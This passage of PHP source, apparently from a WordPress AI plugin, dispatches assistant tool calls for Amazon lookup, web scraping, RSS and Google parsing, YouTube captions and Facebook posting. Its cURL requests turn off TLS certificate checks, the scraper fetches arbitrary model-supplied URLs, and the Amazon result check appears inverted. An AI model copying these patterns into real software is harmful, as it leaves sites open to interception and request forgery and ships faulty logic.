                                            $aff_id = '';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['target_country']) && trim($aiomatic_Chatbot_Settings['target_country']) != '')
                                        {
                                            $target_country = trim($aiomatic_Chatbot_Settings['target_country']);
                                        }
                                        else
                                        {
                                            $target_country = 'com';
                                        }
                                        $max_prod = 1;
                                        $amazresult = aiomatic_amazon_get_post($asin, trim($aff_id), $target_country, '', '', '', $max_prod, '1', array());
                                        if(is_array($amazresult) && ((isset($amazresult['status']) && $amazresult['status'] == 'nothing') || count($amazresult)))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No Amazon products found for query: ' . $asin
                                            ];
                                            continue;
                                        }
                                        if(!is_array($amazresult))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'An error occurred while search Amazon for: ' . $asin
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $final_result = 'Product title: ' . $amazresult[0]->offer_title . '\n';
                                            $final_result .= 'Description: ' . $amazresult[0]->offer_desc . '\n';
                                            $final_result .= 'URL: ' . $amazresult[0]->offer_url . '\n';
                                            $final_result .= 'Price: ' . $amazresult[0]->offer_price . '\n';
                                            $final_result .= 'Listing Price: ' . $amazresult[0]->product_list_price . '\n';
                                            $final_result .= 'Image: ' . $amazresult[0]->offer_img . '\n';
                                            $final_result .= 'Add to cart URL: ' . $amazresult[0]->cart_url . '\n';
                                            $final_result .= 'Other images: ' . $amazresult[0]->product_imgs . '\n';
                                            //new
                                            if(!empty($the_current_section->item_score))
                                            {
                                                $final_result .= 'Score: ' . $amazresult[0]->item_score . '\n';
                                            }
                                            if(!empty($the_current_section->language))
                                            {
                                                $final_result .= 'Language: ' . $amazresult[0]->language . '\n';
                                            }
                                            if(!empty($the_current_section->edition))
                                            {
                                                $final_result .= 'Edition: ' . $amazresult[0]->edition . '\n';
                                            }
                                            if(!empty($the_current_section->pages_count))
                                            {
                                                $final_result .= 'Pages Count: ' . $amazresult[0]->pages_count . '\n';
                                            }
                                            if(!empty($the_current_section->publication_date))
                                            {
                                                $final_result .= 'Date: ' . $amazresult[0]->publication_date . '\n';
                                            }
                                            if(!empty($the_current_section->contributors))
                                            {
                                                $final_result .= 'Contributors: ' . $amazresult[0]->contributors . '\n';
                                            }
                                            if(!empty($the_current_section->manufacturer))
                                            {
                                                $final_result .= 'Manufacturer: ' . $amazresult[0]->manufacturer . '\n';
                                            }
                                            if(!empty($the_current_section->binding))
                                            {
                                                $final_result .= 'Binding: ' . $amazresult[0]->binding . '\n';
                                            }
                                            if(!empty($the_current_section->product_group))
                                            {
                                                $final_result .= 'Product Group: ' . $amazresult[0]->product_group . '\n';
                                            }
                                            if(!empty($the_current_section->rating))
                                            {
                                                $final_result .= 'Rating: ' . $amazresult[0]->rating . '\n';
                                            }
                                            if(!empty($the_current_section->eans))
                                            {
                                                $final_result .= 'EAN: ' . $amazresult[0]->eans . '\n';
                                            }
                                            if(!empty($the_current_section->part_no))
                                            {
                                                $final_result .= 'Part No: ' . $amazresult[0]->part_no . '\n';
                                            }
                                            if(!empty($the_current_section->model))
                                            {
                                                $final_result .= 'Model: ' . $amazresult[0]->model . '\n';
                                            }
                                            if(!empty($the_current_section->warranty))
                                            {
                                                $final_result .= 'Warranty: ' . $amazresult[0]->warranty . '\n';
                                            }
                                            if(!empty($the_current_section->color))
                                            {
                                                $final_result .= 'Color: ' . $amazresult[0]->color . '\n';
                                            }
                                            if(!empty($the_current_section->is_adult))
                                            {
                                                $final_result .= 'Is Adult: ' . $amazresult[0]->is_adult . '\n';
                                            }
                                            if(!empty($the_current_section->dimensions))
                                            {
                                                $final_result .= 'Dimensions: ' . $amazresult[0]->dimensions . '\n';
                                            }
                                            if(!empty($the_current_section->size))
                                            {
                                                $final_result .= 'Size: ' . $amazresult[0]->size . '\n';
                                            }
                                            if(!empty($the_current_section->unit_count))
                                            {
                                                $final_result .= 'Unit Count: ' . $amazresult[0]->unit_count . '\n';
                                            }
                                            $final_result .= 'Reviews: ' . implode(PHP_EOL, $amazresult[0]->item_reviews) . '\n';
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => $final_result
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'query parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_website_scraper')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['url']))
                                    {
                                        $scurl = $tc['function']['arguments']['url'];
                                        if (empty($scurl)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty scrape url provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['scrape_method']) && trim($aiomatic_Chatbot_Settings['scrape_method']) != '')
                                        {
                                            $scrape_method = trim($aiomatic_Chatbot_Settings['scrape_method']);
                                        }
                                        else
                                        {
                                            $scrape_method = '0';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['max_chars']) && trim($aiomatic_Chatbot_Settings['max_chars']) != '')
                                        {
                                            $max_chars = trim($aiomatic_Chatbot_Settings['max_chars']);
                                        }
                                        else
                                        {
                                            $max_chars = '';
                                        }
                                        $scrape_selector = 'auto';
                                        $scrape_string = '';
                                        if (isset($aiomatic_Chatbot_Settings['strip_tags']) && trim($aiomatic_Chatbot_Settings['strip_tags']) == 'on')
                                        {
                                            $strip_tags = '1';
                                        }
                                        else
                                        {
                                            $strip_tags = '0';
                                        }
                                        $scraped_data = aiomatic_scrape_page($scurl, $scrape_method, $scrape_selector, $scrape_string);
                                        if($scraped_data === false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to scrape website URL: ' . $scurl
                                            ];
                                            aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                        }
                                        else
                                        {
                                            if($strip_tags == '1')
                                            {
                                                $scraped_data = wp_strip_all_tags($scraped_data);
                                            }
                                            else
                                            {
                                                $scraped_data = aiomatic_fix_relative_links($scraped_data, $scurl);
                                            }
                                            if(!empty($max_chars) && is_numeric($max_chars))
                                            {
                                                $scraped_data = (strlen($scraped_data) > intval($max_chars)) ? substr($scraped_data, 0, intval($max_chars)) : $scraped_data;
                                            }
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => $scraped_data
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_rss_parser')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['url']))
                                    {
                                        $scurl = $tc['function']['arguments']['url'];
                                        if (empty($scurl)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty RSS feed URL provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['max_rss_items']) && trim($aiomatic_Chatbot_Settings['max_rss_items']) != '')
                                        {
                                            $max_rss_items = intval(trim($aiomatic_Chatbot_Settings['max_rss_items']));
                                        }
                                        else
                                        {
                                            $max_rss_items = PHP_INT_MAX;
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['rss_template']) && trim($aiomatic_Chatbot_Settings['rss_template']) != '')
                                        {
                                            $rss_template = trim($aiomatic_Chatbot_Settings['rss_template']);
                                        }
                                        else
                                        {
                                            $rss_template = '[%%item_counter%%]: %%item_title%% - %%item_description%%';
                                        }
                                        try
                                        {
                                            if(!class_exists('SimplePie_Autoloader', false))
                                            {
                                                require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php");
                                            }
                                        }
                                        catch(Exception $e) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to load RSS parser library'
                                            ];
                                            continue;
                                        }
                                        
                                        $feed = new SimplePie();
                                        $feed->set_timeout(120);
                                        $feed->set_feed_url($scurl);
                                        $feed->enable_cache(false);
                                        $feed->strip_htmltags(false);
                                        $feed->init();
                                        $feed->handle_content_type();
                                        if ($feed->error()) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Error in parsing RSS feed: ' . $feed->error()
                                            ];
                                            continue;
                                        }
                                        $final_result = '';
                                        $items = $feed->get_items();
                                        foreach($items as $itemx)
                                        {
                                            $post_link = trim($itemx->get_permalink());
                                            if ($fauthor = $itemx->get_author()) 
                                            {
                                                $user_name = $fauthor->get_name();
                                            }
                                            else
                                            {
                                                $user_name = '';
                                            }
                                            $feed_cats = array();
                                            if(isset($itemx->category))
                                            {
                                                foreach($itemx->category as $cata)
                                                {
                                                    $feed_cats[] = $cata->__toString();
                                                }
                                                if(count($feed_cats) == 0)
                                                {
                                                    $feed_cats[] = $itemx->category->__toString();
                                                }
                                                $post_cats = implode(',', $feed_cats);
                                            }
                                            else
                                            {
                                                $post_cats = '';
                                            }
                                            $post_excerpt = $itemx->get_description();
                                            $final_content = $itemx->get_content();
                                            $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name,  'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content );
                                        }
                                        $template_copy = '';
                                        $processed = 0;
                                        foreach($rss_feeds as $rtitle => $this_rss)
                                        {
                                            if(!empty($max_rss_items) && $processed >= $max_rss_items)
                                            {
                                                break;
                                            }
                                            $template_copy = $rss_template;
                                            $template_copy = str_replace('%%item_counter%%', $processed + 1, $template_copy);
                                            $template_copy = str_replace('%%item_title%%', $rtitle, $template_copy);
                                            $template_copy = str_replace('%%item_content%%', $this_rss['content'], $template_copy);
                                            $template_copy = str_replace('%%item_description%%', $this_rss['excerpt'], $template_copy);
                                            $template_copy = str_replace('%%item_url%%', $this_rss['url'], $template_copy);
                                            $template_copy = str_replace('%%item_author%%', $this_rss['author'], $template_copy);
                                            $template_copy = str_replace('%%item_categories%%', $this_rss['cats'], $template_copy);
                                            if(!empty($template_copy))
                                            {
                                                $final_result .= $template_copy . PHP_EOL;
                                            }
                                            $processed++;
                                        }
                                        if($final_result === false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse RSS URL (no data returned): ' . $scurl
                                            ];
                                            aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => $final_result
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_google_parser')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['keywords']))
                                    {
                                        $keywords = $tc['function']['arguments']['keywords'];
                                        if (empty($keywords)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty keywords parameter provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['max_google_items']) && trim($aiomatic_Chatbot_Settings['max_google_items']) != '')
                                        {
                                            $max_google_items = intval(trim($aiomatic_Chatbot_Settings['max_google_items']));
                                        }
                                        else
                                        {
                                            $max_google_items = PHP_INT_MAX;
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['google_template']) && trim($aiomatic_Chatbot_Settings['google_template']) != '')
                                        {
                                            $google_template = trim($aiomatic_Chatbot_Settings['google_template']);
                                        }
                                        else
                                        {
                                            $google_template = '[%%item_counter%%]: %%item_title%% - %%item_snippet%%';
                                        }
                                        $locale = '';
                                        if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '')
                                        {
                                            $locale = $aiomatic_Main_Settings['internet_gl'];
                                        }
                                        $internet_rez = aiomatic_internet_result($keywords, true, $locale);
                                        $processed = 0;
                                        $final_res = '';
                                        foreach($internet_rez as $emb)
                                        {
                                            if(!empty($max_google_items) && $processed >= $max_google_items)
                                            {
                                                break;
                                            }
                                            $template_copy = $google_template;
                                            $template_copy = str_replace('%%item_counter%%', $processed + 1, $template_copy);
                                            $template_copy = str_replace('%%item_title%%', $emb['title'], $template_copy);
                                            $template_copy = str_replace('%%item_snippet%%', $emb['snippet'], $template_copy);
                                            $template_copy = str_replace('%%item_url%%', $emb['link'], $template_copy);
                                            $final_res .= $template_copy . PHP_EOL;
                                            $processed++;
                                        }
                                        if($final_res === false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Google SERP for keyword (no data returned): ' . $keywords
                                            ];
                                            aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => $final_res
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'keywords parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_royalty_free_image')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['keyword']))
                                    {
                                        $raw_img_list = array();
                                        $full_result_list = array();
                                        $keyword = $tc['function']['arguments']['keyword'];
                                        if (empty($keyword)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty keyword parameter provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                                        $temp_img_attr = '';
                                        $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $keyword, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                        if($temp_get_img === false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to get royalty free image for keyword: ' . $keyword
                                            ];
                                            aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => '<img class="image_max_w_ai" src="' . $temp_get_img . '">',
                                                'output' => $temp_get_img
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'keyword parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_youtube_captions')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['url']))
                                    {
                                        $zurl = $tc['function']['arguments']['url'];
                                        if (empty($zurl)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty url parameter provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                                        $default_lang = array();
                                        $returned_caption = '';
                                        $za_video_page = '';
                                        $ch  = curl_init();
                                        if ($ch !== FALSE) 
                                        {
                                            if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                                $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                                $randomness = array_rand($prx);
                                                curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                                if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                                {
                                                    $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                    if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                    {
                                                        curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                    }
                                                }
                                            }
                                            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                            if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                            {
                                                $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                            }
                                            else
                                            {
                                                $ztime = 300;
                                            }
                                            curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                            curl_setopt($ch, CURLOPT_HTTPGET, 1);
                                            curl_setopt($ch, CURLOPT_REFERER, get_site_url());
                                            curl_setopt($ch, CURLOPT_URL, $zurl);
                                            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                            $za_video_page = curl_exec($ch);
                                            if($za_video_page === false)
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'output' => 'Failed to download video URL: ' . $zurl
                                                ];
                                                continue;
                                            }
                                            curl_close($ch);
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to init curl in YouTube caption importing: ' . $zurl
                                            ];
                                            continue;
                                        }
                                        if($za_video_page !== false && strstr($za_video_page, 'vssId') !== false)
                                        {
                                            $srt_dl_link = '';
                                            preg_match_all('#{"baseUrl":"([^"]+?)","name":(?:.*?),"vssId":"a?\.([^"]+?)","languageCode":"(?:[^"]+?)",(?:"kind":"asr",)?"isTranslatable":(?:[^}]+?)}#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $eng_f = false;
                                                if(in_array('en', $zmatches[2]))
                                                {
                                                    $eng_f = true;
                                                }
                                                for($i = 0; $i < count($zmatches[1]); $i++)
                                                {
                                                    if(count($default_lang) > 0)
                                                    {
                                                        if(in_array($zmatches[2][$i], $default_lang))
                                                        {
                                                            $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                            break;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(!$eng_f)
                                                        {
                                                            $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                            break;
                                                        }
                                                        elseif($zmatches[2][$i] == 'en')
                                                        {
                                                            $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                            break;
                                                        }
                                                    }
                                                }
                                                if($srt_dl_link !== '')
                                                {
                                                    $ch  = curl_init();
                                                    if ($ch !== FALSE) 
                                                    {
                                                        if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                                            $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                                            $randomness = array_rand($prx);
                                                            curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                                            if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                                            {
                                                                $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                                if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                                {
                                                                    curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                                }
                                                            }
                                                        }
                                                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                                        if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                                        {
                                                            $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                                        }
                                                        else
                                                        {
                                                            $ztime = 300;
                                                        }
                                                        curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                                        curl_setopt($ch, CURLOPT_HTTPGET, 1);
                                                        curl_setopt($ch, CURLOPT_REFERER, get_site_url());
                                                        curl_setopt($ch, CURLOPT_URL, $srt_dl_link);
                                                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                                        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                                        $xza_video_page = curl_exec($ch);
                                                        if(!empty($xza_video_page))
                                                        {
                                                            $returned_caption = $xza_video_page;
                                                            $returned_caption = preg_replace('#\s+#', ' ', $returned_caption);
                                                        }
                                                        curl_close($ch);
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to init curl in subtitle listing: ' . $zurl);
                                                    }   
                                                }
                                            }
                                        }
                                        if(empty($returned_caption))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to find subtitles for video URL: ' . $zurl
                                            ];
                                        }
                                        if(stristr($returned_caption, 'transcript'))
                                        {
                                            $raw_returned_caption = preg_replace('#\s*?(?:start|dur)="[\d.]*?"\s*?#','', $returned_caption);
                                            $raw_returned_caption = preg_replace('#\[[A-Z][a-z]+\]#','', $raw_returned_caption);
                                            $returned_caption = '';
                                            $capt = new SimpleXMLElement($raw_returned_caption);
                                            $counter = 0;
                                            if(isset($capt->text))
                                            {
                                                foreach($capt->text as $entry) 
                                                {
                                                    if($counter == 0)
                                                    {
                                                        $returned_caption .= ucfirst($entry) . ' ';
                                                    }
                                                    else
                                                    {
                                                        $returned_caption .= $entry . ' ';
                                                    }
                                                    if($counter >= 8)
                                                    {
                                                        $returned_caption = rtrim($returned_caption);
                                                        if(substr($returned_caption, -1) != '.')
                                                        {
                                                            $returned_caption .= '.';
                                                        }
                                                        $returned_caption .= '<br/><br/>';
                                                        $counter = 0;
                                                    }
                                                    else
                                                    {
                                                        $counter++;
                                                    }
                                                }
                                            }
                                            $returned_caption = trim($returned_caption);
                                        }
                                        if(!empty($max_caption) && strlen($returned_caption) > $max_caption)
                                        {
                                            $returned_caption = substr($returned_caption, 0, $max_caption);
                                        }
                                        if($returned_caption == '')
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse YouTube video caption for URL (no data returned): ' . $zurl
                                            ];
                                            aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => $returned_caption
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_youtube_search')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['keyword']))
                                    {
                                        $keyword = $tc['function']['arguments']['keyword'];
                                        if (empty($keyword)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty keyword parameter provided'
                                            ];
                                            continue;
                                        }
                                        $new_vid = aiomoatic_get_video($keyword);
                                        if($new_vid == '')
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse YouTube video search results for keyword (no data returned): ' . $keyword
                                            ];
                                            aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => $new_vid,
                                                'output' => $new_vid
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'keyword parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_facebook')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['content']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $fbomatic_active = false;
                                        if (is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php')) 
                                        {
                                            $fbomatic_active = true;
                                        }
                                        if(!$fbomatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (F-omatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $furl = '';
                                        if(isset($tc['function']['arguments']['url']))
                                        {
                                            $furl = $tc['function']['arguments']['url'];
                                        }
                                        $zcontent = $tc['function']['arguments']['content'];
                                        if (empty($zcontent)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty content parameter provided'
                                            ];
                                            continue;
                                        }
                                        $page_to_post = '';
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['facebook_post_select']) && $aiomatic_Chatbot_Settings['facebook_post_select'] != '') {
                                            $page_to_post = $aiomatic_Chatbot_Settings['facebook_post_select'];
                                        }
                                        if (empty($page_to_post)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No page where to publish the post was selected'
                                            ];
                                            continue;
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $card_type_found = array('required_plugin' => array('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php' => array('F-omatic Automatic Post Generator', 'https://1.envato.market/fbomatic')));
                                        $return_me = aiomatic_post_to_facebook($card_type_found, $zcontent, $furl, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Facebook posting failed: ' . $return_me['error']
                                            ];
                                            continue;
                                        }
                                        elseif(empty($return_me))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Failed to parse Facebook posting results'
                                            ];
                                            continue;
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Facebook posting successful: ' . json_encode($return_me, true)
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'content parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_publish_image_facebook')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['image_url']))
                                    {
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        $fbomatic_active = false;
                                        if (is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php')) 
                                        {
                                            $fbomatic_active = true;
                                        }
                                        if(!$fbomatic_active)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Required plugin (F-omatic) not activated.'
                                            ];
                                            continue;
                                        }
                                        $caption = '';
                                        if(isset($tc['function']['arguments']['caption']))
                                        {
